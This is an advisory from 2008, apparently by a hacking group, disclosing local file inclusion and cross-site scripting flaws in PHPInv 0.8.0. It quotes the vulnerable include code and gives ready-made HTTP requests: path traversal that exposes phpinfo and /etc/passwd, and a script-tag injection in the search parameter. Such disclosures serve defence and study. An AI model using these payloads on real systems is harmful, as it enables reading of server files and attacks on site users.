phpinv-lfixss.txt

`=========================================================  
PHPInv 0.8.0 (LFI/XSS) Multiple Remote Vulnerabilities  
=========================================================  
  
,--^----------,--------,-----,-------^--,  
| ||||||||| `--------' | O .. CWH Underground Hacking Team ..  
`+---------------------------^----------|  
`\_,-------, _________________________|  
/ XXXXXX /`| /  
/ XXXXXX / `\ /  
/ XXXXXX /\______(  
/ XXXXXX /   
/ XXXXXX /  
(________(   
`------'  
  
AUTHOR : CWH Underground  
DATE : 8 June 2008  
SITE : www.citec.us  
  
  
#####################################################  
APPLICATION : PHPInv  
VERSION : 0.8.0  
DOWNLOAD : http://sourceforge.net/projects/phpinv  
#####################################################  
  
---LFI---  
  
##############################################  
Vulnerable: entry.php (?action=)  
  
43: if (isset($action) & !isset($noconfirm)) {  
44: include("inc/entry_$action.php");  
45: }  
  
###############################################  
  
---Description---  
  
Use Web Proxy (Web Scarab, Burb Proxy, etc...) to intercept URI ->   
http://[target]/[phpinv_path]/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=test  
  
Then You can change detail in GET request for this URI, Example  
  
[-]GET http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../phpinfo HTTP/1.1  
[-]Accept: */*  
[-]User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
[-]Host: 192.168.1.103  
[-]Connection: Close  
[-]Pragma: no-cache  
  
Now you can see phpinfo.php in PHPInv page... :)   
  
Tip!! http://192.168.1.103:80/phpinv/entry.php?hash=19e9abf204087d0765f81c5bfb1a6fef&categoryid=1&orderby=10&action=/../../../../../etc/passwd%00 HTTP/1.1  
  
  
---XSS---  
  
[+]search.php (keyword)  
  
GET http://192.168.1.103:80/phpinv/search.php?hash=19e9abf204087d0765f81c5bfb1a6fef&keyword=>"><script>alert(123);</script>&categoryid=1&action=Search HTTP/1.1  
Accept: */*  
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)  
Host: 192.168.1.103  
Connection: Close  
Pragma: no-cache  
  
  
##################################################################  
# Greetz: ZeQ3uL, BAD $ectors, Snapter, Conan, JabAv0C, Win7dos #  
##################################################################  
  
`